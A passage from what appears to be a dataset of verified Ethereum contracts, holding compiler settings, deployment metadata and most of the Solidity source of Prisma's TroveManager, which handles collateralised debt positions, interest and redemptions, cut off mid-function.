rewardSnapshots(address) external view returns (uint256 collateral, uint256 debt);\n\n function sortedTroves() external view returns (address);\n\n function sunsetting() external view returns (bool);\n\n function surplusBalances(address) external view returns (uint256);\n\n function totalCollateralSnapshot() external view returns (uint256);\n\n function totalStakes() external view returns (uint256);\n\n function totalStakesSnapshot() external view returns (uint256);\n\n function vault() external view returns (address);\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"runs": 200
},
"libraries": {
"SortedTroves.sol": {}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
db2222735e926f3a18d7d1d0cfeef095a66aea2a
|
335849a1c359e83dca508101bd394a9d12e176b9
|
3d602d80600a3d3981f3363d3d373d3d3d363d73297b704feda9383527c2ca834ffce29509e4cd3f5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73297b704feda9383527c2ca834ffce29509e4cd3f5af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/core/TroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"contracts/token/ERC20/IERC20.sol\";\nimport \"contracts/utils/math/Math.sol\";\nimport \"contracts/interfaces/IBorrowerOperations.sol\";\nimport \"contracts/interfaces/IDebtToken.sol\";\nimport \"contracts/interfaces/ISortedTroves.sol\";\nimport \"contracts/interfaces/IVault.sol\";\nimport \"contracts/interfaces/IPriceFeed.sol\";\nimport { ReedemedTrove, ITroveRedemptionsCallback } from \"contracts/interfaces/IPrismaCallbacks.sol\";\nimport \"contracts/dependencies/SystemStart.sol\";\nimport \"contracts/dependencies/PrismaBase.sol\";\nimport \"contracts/dependencies/PrismaMath.sol\";\nimport \"contracts/dependencies/PrismaOwnable.sol\";\n\n/**\n @title Prisma Trove Manager\n @notice Based on Liquity's `TroveManager`\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/TroveManager.sol\n\n Prisma's implementation is modified so that multiple `TroveManager` and `SortedTroves`\n contracts are deployed in tandem, with each pair managing troves of a single collateral\n type.\n\n Functionality related to liquidations has been moved to `LiquidationManager`. This was\n necessary to avoid the restriction on deployed bytecode size.\n */\ncontract TroveManager is PrismaBase, PrismaOwnable, SystemStart {\n using SafeERC20 for IERC20;\n\n // --- Connected contract declarations ---\n\n address public immutable borrowerOperationsAddress;\n address public immutable liquidationManager;\n address immutable gasPoolAddress;\n IDebtToken public immutable debtToken;\n IPrismaVault public immutable vault;\n // During bootsrap period redemptions are not allowed\n uint256 public immutable bootstrapPeriod;\n IPriceFeed public priceFeed;\n IERC20 public collateralToken;\n\n // A doubly linked list of Troves, sorted by their collateral ratios\n ISortedTroves public sortedTroves;\n\n EmissionId public emissionId;\n // Minimum collateral ratio for individual troves\n uint256 public MCR;\n\n uint256 constant SECONDS_IN_ONE_MINUTE = 60;\n uint256 constant INTEREST_PRECISION = 1e27;\n uint256 constant SECONDS_IN_YEAR = 365 days;\n uint256 constant REWARD_DURATION = 1 weeks;\n\n // volume-based amounts are divided by this value to allow storing as uint32\n uint256 constant VOLUME_MULTIPLIER = 1e20;\n\n uint256 constant SUNSETTING_INTEREST_RATE = (INTEREST_PRECISION * 5000) / (10000 * SECONDS_IN_YEAR); //50% // During bootsrap period redemptions are not allowed\n /*\n * BETA: 18 digit decimal. Parameter by which to divide the redeemed fraction, in order to calc the new base rate from a redemption.\n * Corresponds to (1 / ALPHA) in the white paper.\n */\n uint256 constant BETA = 2;\n\n // commented values are Liquity's fixed settings for each parameter\n uint256 minuteDecayFactor; // 999037758833783000 (half-life of 12 hours)\n uint256 redemptionFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 maxRedemptionFee; // DECIMAL_PRECISION (100%)\n uint256 borrowingFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 maxBorrowingFee; // DECIMAL_PRECISION / 100 * 5 (5%)\n uint256 maxSystemDebt;\n\n uint256 interestRate;\n uint256 activeInterestIndex;\n uint256 lastActiveIndexUpdate;\n\n uint256 public systemDeploymentTime;\n bool public sunsetting;\n bool public paused;\n\n uint256 public baseRate;\n\n // The timestamp of the latest fee operation (redemption or new debt issuance)\n uint256 public lastFeeOperationTime;\n\n uint256 public totalStakes;\n\n // Snapshot of the value of totalStakes, taken immediately after the latest liquidation\n uint256 public totalStakesSnapshot;\n\n // Snapshot of the total collateral taken immediately after the latest liquidation.\n uint256 public totalCollateralSnapshot;\n\n /*\n * L_collateral and L_debt track the sums of accumulated liquidation rewards per unit staked. During its lifetime, each stake earns:\n *\n * An collateral gain of ( stake * [L_collateral - L_collateral(0)] )\n * A debt increase of ( stake * [L_debt - L_debt(0)] )\n *\n * Where L_collateral(0) and L_debt(0) are snapshots of L_collateral and L_debt for the active Trove taken at the instant the stake was made\n */\n uint256 public L_collateral;\n uint256 public L_debt;\n\n // Error trackers for the trove redistribution calculation\n uint256 lastCollateralError_Redistribution;\n uint256 lastDebtError_Redistribution;\n\n uint256 internal totalActiveCollateral;\n uint256 internal totalActiveDebt;\n uint256 public interestPayable;\n\n uint256 public defaultedCollateral;\n uint256 public defaultedDebt;\n\n uint256 public rewardIntegral;\n uint128 public rewardRate;\n uint32 public lastUpdate;\n uint32 public periodFinish;\n uint16 public redemptionFeesRebate;\n\n ITroveRedemptionsCallback private _redemptionsCallback;\n\n mapping(address => uint256) public rewardIntegralFor;\n mapping(address => uint256) private storedPendingReward;\n\n // week -> total available rewards for 1 day within this week\n uint256[65535] public dailyMintReward;\n\n // week -> day -> total amount redeemed this day\n uint32[7][65535] private totalMints;\n\n // account -> data for latest activity\n mapping(address => VolumeData) public accountLatestMint;\n\n mapping(address => Trove) public Troves;\n mapping(address => uint256) public surplusBalances;\n\n // Map addresses with active troves to their RewardSnapshot\n mapping(address => RewardSnapshot) public rewardSnapshots;\n\n // Array of all active trove addresses - used to to compute an approximate hint off-chain, for the sorted list insertion\n address[] TroveOwners;\n\n struct VolumeData {\n uint32 amount;\n uint32 week;\n uint32 day;\n }\n\n struct EmissionId {\n uint16 debt;\n uint16 minting;\n }\n\n // Store the necessary data for a trove\n struct Trove {\n uint256 debt;\n uint256 coll;\n uint256 stake;\n Status status;\n uint128 arrayIndex;\n uint256 activeInterestIndex;\n }\n\n struct RedemptionTotals {\n uint256 remainingDebt;\n uint256 totalDebtToRedeem;\n uint256 totalCollateralDrawn;\n uint256 collateralFee;\n uint256 price;\n uint256 totalDebtSupplyAtStart;\n uint256 numberOfRedemptions;\n ReedemedTrove[] trovesRedeemed;\n }\n\n struct SingleRedemptionValues {\n uint256 debtLot;\n uint256 collateralLot;\n bool cancelledPartial;\n }\n\n // Object containing the collateral and debt snapshots for a given active trove\n struct RewardSnapshot {\n uint256 collateral;\n uint256 debt;\n }\n\n enum TroveManagerOperation {\n open,\n close,\n adjust,\n liquidate,\n redeemCollateral\n }\n\n enum Status {\n nonExistent,\n active,\n closedByOwner,\n closedByLiquidation,\n closedByRedemption\n }\n\n event TroveUpdated(\n address indexed _borrower,\n uint256 _debt,\n uint256 _coll,\n uint256 _stake,\n TroveManagerOperation _operation\n );\n\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event BaseRateUpdated(uint256 _baseRate);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event CollateralSent(address _to, uint256 _amount);\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event RedemptionFeesRebateSet(uint16 redemptionFeesRebate);\n\n modifier whenNotPaused() {\n require(!paused, \"Collateral Paused\");\n _;\n }\n\n constructor(\n address _prismaCore,\n address _gasPoolAddress,\n address _debtTokenAddress,\n address _borrowerOperationsAddress,\n address _vault,\n address _liquidationManager,\n uint256 _bootstrapPeriod\n )\n PrismaOwnable(_prismaCore)\n PrismaBase(IDebtToken(_debtTokenAddress).DEBT_GAS_COMPENSATION())\n SystemStart(_prismaCore)\n {\n gasPoolAddress = _gasPoolAddress;\n debtToken = IDebtToken(_debtTokenAddress);\n borrowerOperationsAddress = _borrowerOperationsAddress;\n vault = IPrismaVault(_vault);\n liquidationManager = _liquidationManager;\n bootstrapPeriod = _bootstrapPeriod;\n }\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external {\n require(address(sortedTroves) == address(0));\n priceFeed = IPriceFeed(_priceFeedAddress);\n sortedTroves = ISortedTroves(_sortedTrovesAddress);\n collateralToken = IERC20(_collateralToken);\n\n systemDeploymentTime = block.timestamp;\n sunsetting = false;\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n }\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool) {\n require(msg.sender == address(vault));\n require(emissionId.debt == 0, \"Already assigned\");\n uint256 length = _assignedIds.length;\n require(length == 2, \"Incorrect ID count\");\n emissionId = EmissionId({ debt: uint16(_assignedIds[0]), minting: uint16(_assignedIds[1]) });\n periodFinish = uint32(((block.timestamp / 1 weeks) + 1) * 1 weeks);\n\n return true;\n }\n\n /**\n * @notice Allows recover of non collateral tokens sending them to the fee receiver\n * @param tokenAddress Address of the token to be recovered\n * @param tokenAmount Amount to be recoverd\n */\n function recoverERC20(IERC20 tokenAddress, uint256 tokenAmount) external {\n require(tokenAddress != collateralToken);\n tokenAddress.safeTransfer(PRISMA_CORE.feeReceiver(), tokenAmount);\n }\n\n /**\n * @notice Sets the pause state for this trove manager\n * Pausing is used to mitigate risks in exceptional circumstances\n * Functionalities affected by pausing are:\n * - New borrowing is not possible\n * - New collateral deposits are not possible\n * @param _paused If true the protocol is paused\n */\n function setPaused(bool _paused) external {\n require((_paused && msg.sender == guardian()) || msg.sender == owner(), \"Unauthorized\");\n paused = _paused;\n }\n\n /**\n * @notice Sets a custom price feed for this trove manager\n * @param _priceFeedAddress Price feed address\n */\n function setPriceFeed(address _priceFeedAddress) external onlyOwner {\n priceFeed = IPriceFeed(_priceFeedAddress);\n }\n\n /**\n * @notice Sets a callback contract for redemptions on this trove manager\n * @param redemptionsCallback Callback contract\n */\n function setRedemptionsCallback(ITroveRedemptionsCallback redemptionsCallback) external onlyOwner {\n _redemptionsCallback = redemptionsCallback;\n }\n\n /**\n * @notice Starts sunsetting a collateral\n * During sunsetting only the following are possible:\n 1) Disable collateral handoff to SP\n 2) Greatly Increase interest rate to incentivize redemptions\n 3) Remove redemptions fees\n 4) Disable new loans\n @dev IMPORTANT: When sunsetting a collateral altogether this function should be called on\n all TM linked to that collateral as well as `StabilityPool.startCollateralSunset`\n */\n function startSunset() external onlyOwner {\n sunsetting = true;\n _accrueActiveInterests();\n interestRate = SUNSETTING_INTEREST_RATE;\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n redemptionFeeFloor = 0;\n maxSystemDebt = 0;\n }\n\n /**\n * @notice Sets the redemption fees rebate percentage\n * @param _redemptionFeesRebate Percentage of redemption fees rebated to users expressed in bps\n */\n function setRedemptionFeesRebate(uint16 _redemptionFeesRebate) external onlyOwner {\n require(_redemptionFeesRebate <= 10000, \"Too large\");\n redemptionFeesRebate = _redemptionFeesRebate;\n emit RedemptionFeesRebateSet(_redemptionFeesRebate);\n }\n\n /*\n _minuteDecayFactor is calculated as\n\n 10**18 * (1/2)**(1/n)\n\n where n = the half-life in minutes\n */\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) public {\n require(!sunsetting, \"Cannot change after sunset\");\n require(_MCR <= CCR && _MCR >= 1100000000000000000, \"MCR cannot be > CCR or < 110%\");\n if (minuteDecayFactor != 0) {\n require(msg.sender == owner(), \"Only owner\");\n }\n require(\n _minuteDecayFactor >= 977159968434245000 && // half-life of 30 minutes\n _minuteDecayFactor <= 999931237762985000 // half-life of 1 week\n );\n require(_redemptionFeeFloor <= _maxRedemptionFee && _maxRedemptionFee <= DECIMAL_PRECISION);\n require(_borrowingFeeFloor <= _maxBorrowingFee && _maxBorrowingFee <= DECIMAL_PRECISION);\n\n _decayBaseRate();\n\n minuteDecayFactor = _minuteDecayFactor;\n redemptionFeeFloor = _redemptionFeeFloor;\n maxRedemptionFee = _maxRedemptionFee;\n borrowingFeeFloor = _borrowingFeeFloor;\n maxBorrowingFee = _maxBorrowingFee;\n maxSystemDebt = _maxSystemDebt;\n\n uint256 newInterestRate = (INTEREST_PRECISION * _interestRateInBPS) / (10000 * SECONDS_IN_YEAR);\n if (newInterestRate != interestRate) {\n _accrueActiveInterests();\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n interestRate = newInterestRate;\n }\n MCR = _MCR;\n }\n\n function collectInterests() external {\n uint256 interestPayableCached = interestPayable;\n if (interestPayableCached > 0) {\n interestPayable = 0;\n debtToken.mint(PRISMA_CORE.feeReceiver(), interestPayableCached);\n }\n }\n\n // --- Getters ---\n\n function getParameters()\n external\n view\n returns (\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _maxSystemDebt,\n uint256 _interestRateInBps\n )\n {\n return (\n minuteDecayFactor,\n redemptionFeeFloor,\n maxRedemptionFee,\n borrowingFeeFloor,\n maxBorrowingFee,\n maxSystemDebt,\n (interestRate * 10000 * SECONDS_IN_YEAR) / INTEREST_PRECISION\n );\n }\n\n function fetchPrice() public returns (uint256) {\n IPriceFeed _priceFeed = priceFeed;\n if (address(_priceFeed) == address(0)) {\n _priceFeed = IPriceFeed(PRISMA_CORE.priceFeed());\n }\n return _priceFeed.fetchPrice(address(collateralToken));\n }\n\n function getWeekAndDay() public view returns (uint256, uint256) {\n uint256 duration = (block.timestamp - startTime);\n uint256 week = duration / 1 weeks;\n uint256 day = (duration % 1 weeks) / 1 days;\n return (week, day);\n }\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory) {\n return totalMints[week];\n }\n\n function getTroveOwnersCount() external view returns (uint256) {\n return TroveOwners.length;\n }\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address) {\n return TroveOwners[_index];\n }\n\n function getTroveStatus(address _borrower) external view returns (uint256) {\n return uint256(Troves[_borrower].status);\n }\n\n function getTroveStake(address _borrower) external view returns (uint256) {\n return Troves[_borrower].stake;\n }\n\n /**\n @notice Get the current total collateral and debt amounts for a trove\n @dev Also includes pending rewards from redistribution\n */\n function getTroveCollAndDebt(address _borrower) public view returns (uint256 coll, uint256 debt) {\n (debt, coll, , ) = getEntireDebtAndColl(_borrower);\n return (coll, debt);\n }\n\n /**\n @notice Get the total and pending collateral and debt amounts for a trove\n @dev Used by the liquidation manager\n */\n function getEntireDebtAndColl(\n address _borrower\n ) public view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward) {\n Trove storage t = Troves[_borrower];\n debt = t.debt;\n coll = t.coll;\n\n (pendingCollateralReward, pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n // Accrued trove interest for correct liquidation values. This assumes the index to be updated.\n uint256 troveInterestIndex = t.activeInterestIndex;\n if (troveInterestIndex > 0) {\n (uint256 currentIndex, ) = _calculateInterestIndex();\n debt = (debt * currentIndex) / troveInterestIndex;\n }\n\n debt = debt + pendingDebtReward;\n coll = coll + pendingCollateralReward;\n }\n\n function getEntireSystemColl() public view returns (uint256) {\n return totalActiveCollateral + defaultedCollateral;\n }\n\n function getEntireSystemDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt + defaultedDebt;\n }\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256) {\n return (getEntireSystemColl(), getEntireSystemDebt(), fetchPrice());\n }\n\n // --- Helper functions ---\n\n // Return the nominal collateral ratio (ICR) of a given Trove, without the price. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getNominalICR(address _borrower) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 NICR = PrismaMath._computeNominalCR(currentCollateral, currentDebt);\n return NICR;\n }\n\n // Return the current collateral ratio (ICR) of a given Trove. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getCurrentICR(address _borrower, uint256 _price) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 ICR = PrismaMath._computeCR(currentCollateral, currentDebt, _price);\n return ICR;\n }\n\n function getTotalActiveCollateral() public view returns (uint256) {\n return totalActiveCollateral;\n }\n\n function getTotalActiveDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt;\n }\n\n // Get the borrower's pending accumulated collateral and debt rewards, earned by their stake\n function getPendingCollAndDebtRewards(address _borrower) public view returns (uint256, uint256) {\n RewardSnapshot memory snapshot = rewardSnapshots[_borrower];\n\n uint256 coll = L_collateral - snapshot.collateral;\n uint256 debt = L_debt - snapshot.debt;\n\n if (coll + debt == 0 || Troves[_borrower].status != Status.active) return (0, 0);\n\n uint256 stake = Troves[_borrower].stake;\n return ((stake * coll) / DECIMAL_PRECISION, (stake * debt) / DECIMAL_PRECISION);\n }\n\n function hasPendingRewards(address _borrower) public view returns (bool) {\n /*\n * A Trove has pending rewards if its snapshot is less than the current rewards per-unit-staked sum:\n * this indicates that rewards have occured since the snapshot was made, and the user therefore has\n * pending rewards\n */\n if (Troves[_borrower].status != Status.active) {\n return false;\n }\n\n return (rewardSnapshots[_borrower].collateral < L_collateral);\n }\n\n // --- Redemption fee functions ---\n\n /*\n * This function has two impacts on the baseRate state variable:\n * 1) decays the baseRate based on time passed since last redemption or debt borrowing operation.\n * then,\n * 2) increases the baseRate based on the amount redeemed, as a proportion of total supply\n */\n function _updateBaseRateFromRedemption(\n uint256 _collateralDrawn,\n uint256 _price,\n uint256 _totalDebtSupply\n ) internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n /* Convert the drawn collateral back to debt at face value rate (1 debt:1 USD), in order to get\n * the fraction of total supply that was redeemed at face value. */\n uint256 redeemedDebtFraction = (_collateralDrawn * _price) / _totalDebtSupply;\n\n uint256 newBaseRate = decayedBaseRate + (redeemedDebtFraction / BETA);\n newBaseRate = PrismaMath._min(newBaseRate, DECIMAL_PRECISION); // cap baseRate at a maximum of 100%\n\n // Update the baseRate state variable\n baseRate = newBaseRate;\n emit BaseRateUpdated(newBaseRate);\n\n _updateLastFeeOpTime();\n\n return newBaseRate;\n }\n\n function getRedemptionRate() public view returns (uint256) {\n return _calcRedemptionRate(baseRate);\n }\n\n function getRedemptionRateWithDecay() public view returns (uint256) {\n return _calcRedemptionRate(_calcDecayedBaseRate());\n }\n\n function _calcRedemptionRate(uint256 _baseRate) internal view returns (uint256) {\n return\n PrismaMath._min(\n redemptionFeeFloor + _baseRate,\n maxRedemptionFee // cap at a maximum of 100%\n );\n }\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256) {\n return _calcRedemptionFee(getRedemptionRateWithDecay(), _collateralDrawn);\n }\n\n function _calcRedemptionFee(uint256 _redemptionRate, uint256 _collateralDrawn) internal pure returns (uint256) {\n uint256 redemptionFee = (_redemptionRate * _collateralDrawn) / DECIMAL_PRECISION;\n require(redemptionFee < _collateralDrawn, \"Fee exceeds returned collateral\");\n return redemptionFee;\n }\n\n // --- Borrowing fee functions ---\n\n function getBorrowingRate() public view returns (uint256) {\n return _calcBorrowingRate(baseRate);\n }\n\n function getBorrowingRateWithDecay() public view returns (uint256) {\n return _calcBorrowingRate(_calcDecayedBaseRate());\n }\n\n function _calcBorrowingRate(uint256 _baseRate) internal view returns (uint256) {\n return PrismaMath._min(borrowingFeeFloor + _baseRate, maxBorrowingFee);\n }\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRate(), _debt);\n }\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRateWithDecay(), _debt);\n }\n\n function _calcBorrowingFee(uint256 _borrowingRate, uint256 _debt) internal pure returns (uint256) {\n return (_borrowingRate * _debt) / DECIMAL_PRECISION;\n }\n\n // --- Internal fee functions ---\n\n // Update the last fee operation time only if time passed >= decay interval. This prevents base rate griefing.\n function _updateLastFeeOpTime() internal {\n uint256 timePassed = block.timestamp - lastFeeOperationTime;\n\n if (timePassed >= SECONDS_IN_ONE_MINUTE) {\n lastFeeOperationTime = block.timestamp;\n emit LastFeeOpTimeUpdated(block.timestamp);\n }\n }\n\n function _calcDecayedBaseRate() internal view returns (uint256) {\n uint256 minutesPassed = (block.timestamp - lastFeeOperationTime) / SECONDS_IN_ONE_MINUTE;\n uint256 decayFactor = PrismaMath._decPow(minuteDecayFactor, minutesPassed);\n\n return (baseRate * decayFactor) / DECIMAL_PRECISION;\n }\n\n // --- Redemption functions ---\n\n /* Send _debtAmount debt to the system and redeem the corresponding amount of collateral from as many Troves as are needed to fill the redemption\n * request. Applies pending rewards to a Trove before reducing its debt and coll.\n *\n * Note that if _amount is very large, this function can run out of gas, specially if traversed troves are small. This can be easily avoided by\n * splitting the total _amount in appropriate chunks and calling the function multiple times.\n *\n * Param `_maxIterations` can also be provided, so the loop through Troves is capped (if it’s zero, it will be ignored).This makes it easier to\n * avoid OOG for the frontend, as only knowing approximately the average cost of an iteration is enough, without needing to know the “topology”\n * of the trove list. It also avoids the need to set the cap in stone in the contract, nor doing gas calculations, as both gas price and opcode\n * costs can vary.\n *\n * All Troves that are redeemed from -- with the likely exception of the last one -- will end up with no debt left, therefore they will be closed.\n * If the last Trove does have some remaining debt, it has a finite ICR, and the reinsertion could be anywhere in the list, therefore it requires a hint.\n * A frontend should use getRedemptionHints() to calculate what the ICR of this Trove will be after redemption, and pass a hint for its position\n * in the sortedTroves list along with the ICR value that the hint was found for.\n *\n * If another transaction modifies the list between calling getRedemptionHints() and passing the hints to redeemCollateral(), it\n * is very likely that the last (partially) redeemed Trove would end up with a different ICR than what the hint is for. In this case the\n * redemption will stop after the last completely redeemed Trove and the sender will keep the remaining debt amount, which they can attempt\n * to redeem later.\n */\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external {\n ISortedTroves _sortedTrovesCached = sortedTroves;\n RedemptionTotals memory totals;\n\n require(\n _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= maxRedemptionFee,\n \"Max fee 0.5% to 100%\"\n );\n require(block.timestamp >= systemDeploymentTime + bootstrapPeriod, \"BOOTSTRAP_PERIOD\");\n totals.price = fetchPrice();\n uint256 _MCR = MCR;\n require(IBorrowerOperations(borrowerOperationsAddress).getTCR() >= _MCR, \"Cannot redeem when TCR < MCR\");\n require(_debtAmount > 0, \"Amount must be greater than zero\");\n\n _updateBalances();\n totals.totalDebtSupplyAtStart = getEntireSystemDebt();\n\n totals.remainingDebt = _debtAmount;\n address currentBorrower;\n\n if (_isValidFirstRedemptionHint(_sortedTrovesCached, _firstRedemptionHint, totals.price, _MCR)) {\n currentBorrower = _firstRedemptionHint;\n } else {\n currentBorrower = _sortedTrovesCached.getLast();\n // Find the first trove with ICR >= MCR\n while (currentBorrower != address(0) && getCurrentICR(currentBorrower, totals.price) < _MCR) {\n currentBorrower = _sortedTrovesCached.getPrev(currentBorrower);\n }\n }\n\n // Loop through the Troves starting from the one with lowest collateral ratio until _amount of debt is exchanged for collateral\n if (_maxIterations == 0 || _maxIterations > 100) {\n _maxIterations = 100;\n }\n totals.trovesRedeemed = new ReedemedTrove[](_maxIterations);\n totals.numberOfRedemptions = 0;\n while (currentBorrower != address(0) && totals.remainingDebt > 0 && _maxIterations > 0) {\n _maxIterations--;\n // Save the address of the Trove preceding the current one, before potentially modifying the list\n address nextUserToCheck = _sortedTrovesCached.getPrev(currentBorrower);\n\n _applyPendingRewards(currentBorrower);\n SingleRedemptionValues memory singleRedemption = _redeemCollateralFromTrove(\n _sortedTrovesCached,\n currentBorrower,\n totals.remainingDebt,\n totals.price,\n _upperPartialRedemptionHint,\n _lowerPartialRedemptionHint,\n _partialRedemptionHintNICR\n );\n if (singleRedemption.cancelledPartial) break; // Partial redemption was cancelled (out-of-date hint, or new net debt < minimum), therefore we could not redeem from the last Trove\n\n totals.trovesRedeemed[totals.numberOfRedemptions++] = ReedemedTrove(\n currentBorrower,\n singleRedemption.debtLot,\n singleRedemption.collateralLot\n );\n\n totals.totalDebtToRedeem = totals.totalDebtToRedeem + singleRedemption.debtLot;\n totals.totalCollateralDrawn = totals.totalCollateralDrawn + singleRedemption.collateralLot;\n\n totals.remainingDebt = totals.remainingDebt - singleRedemption.debtLot;\n currentBorrower = nextUserToCheck;\n }\n require(totals.totalCollateralDrawn > 0, \"Unable to redeem any amount\");\n\n // Decay the baseRate due to time passed, and then increase it according to the size of this redemption.\n // Use the saved total debt supply value, from before it was reduced by the redemption.\n _updateBaseRateFromRedemption(totals.totalCollateralDrawn, totals.price, totals.totalDebtSupplyAtStart);\n\n // Calculate the collateral fee\n totals.collateralFee = sunsetting ? 0 : _calcRedemptionFee(getRedemptionRate(), totals.totalCollateralDrawn);\n\n _requireUserAcceptsFee(totals.collateralFee, totals.totalCollateralDrawn, _maxFeePercentage);\n uint256 userRebate = (redemptionFeesRebate * totals.collateralFee) / 10000;\n\n uint256 _numberOfRedemptions = totals.numberOfRedemptions;\n if (userRebate > 0) {\n for (uint256 i; i < _numberOfRedemptions; ) {\n ReedemedTrove memory refund = totals.trovesRedeemed[i];\n surplusBalances[refund.account] += (userRebate * refund.collateralLot) / totals.totalCollateralDrawn;\n unchecked {\n ++i;\n }\n }\n }\n\n if (redemptionFeesRebate < 10000) {\n uint256 treasuryRebate = totals.collateralFee - userRebate;\n _sendCollateral(PRISMA_CORE.feeReceiver(), treasuryRebate);\n }\n\n emit Redemption(_debtAmount, totals.totalDebtToRedeem, totals.totalCollateralDrawn, totals.collateralFee);\n\n // Burn the total debt that is cancelled with debt, and send the redeemed collateral to msg.sender\n debtToken.burn(msg.sender, totals.totalDebtToRedeem);\n // Update Trove Manager debt, and send collateral to account\n totalActiveDebt = totalActiveDebt - totals.totalDebtToRedeem;\n _sendCollateral(msg.sender, totals.totalCollateralDrawn - totals.collateralFee);\n _resetState();\n if (address(_redemptionsCallback) != address(0)) {\n assembly {\n // Load array pointer value at slot 7 in the struct\n let trovesRedeemedLengthSlot := mload(add(totals, 0xe0))\n // Set array length in referenced location\n mstore(trovesRedeemedLengthSlot, _numberOfRedemptions)\n }\n _redemptionsCallback.onRedemptions(totals.trovesRedeemed);\n }\n }\n\n // Redeem as much collateral as possible from _borrower's Trove in exchange for debt up to _maxDebtAmount\n function _redeemCollateralFromTrove(\n ISortedTroves _sortedTrovesCached,\n address _borrower,\n uint256 _maxDebtAmount,\n uint256 _price,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR\n ) internal returns (SingleRedemptionValues memory singleRedemption) {\n Trove storage t = Troves[_borrower];\n // Determine the remaining amount (lot) to be redeemed, capped by the entire debt of the Trove minus the liquidation reserve\n singleRedemption.debtLot = PrismaMath._min(_maxDebtAmount, t.debt - DEBT_GAS_COMPENSATION);\n\n // Get the CollateralLot of equivalent value in USD\n singleRedemption.collateralLot = (singleRedemption.debtLot * DECIMAL_PRECISION) / _price;\n\n // Decrease the debt and collateral of the current Trove according to the debt lot and corresponding collateral to send\n uint256 newDebt = (t.debt) - singleRedemption.debtLot;\n uint256 newColl = (t.coll) - singleRedemption.collateralLot;\n\n if (newDebt == DEBT_GAS_COMPENSATION) {\n // No debt left in the Trove (except for the liquidation reserve), therefore the trove gets closed\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByRedemption);\n _redeemCloseTrove(_borrower, DEBT_GAS_COMPENSATION, newColl);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.redeemCollateral);\n } else {\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n /*\n * If the provided hint is out of date, we bail since trying to reinsert without a good hint will almost\n * certainly result in running out of gas.\n *\n 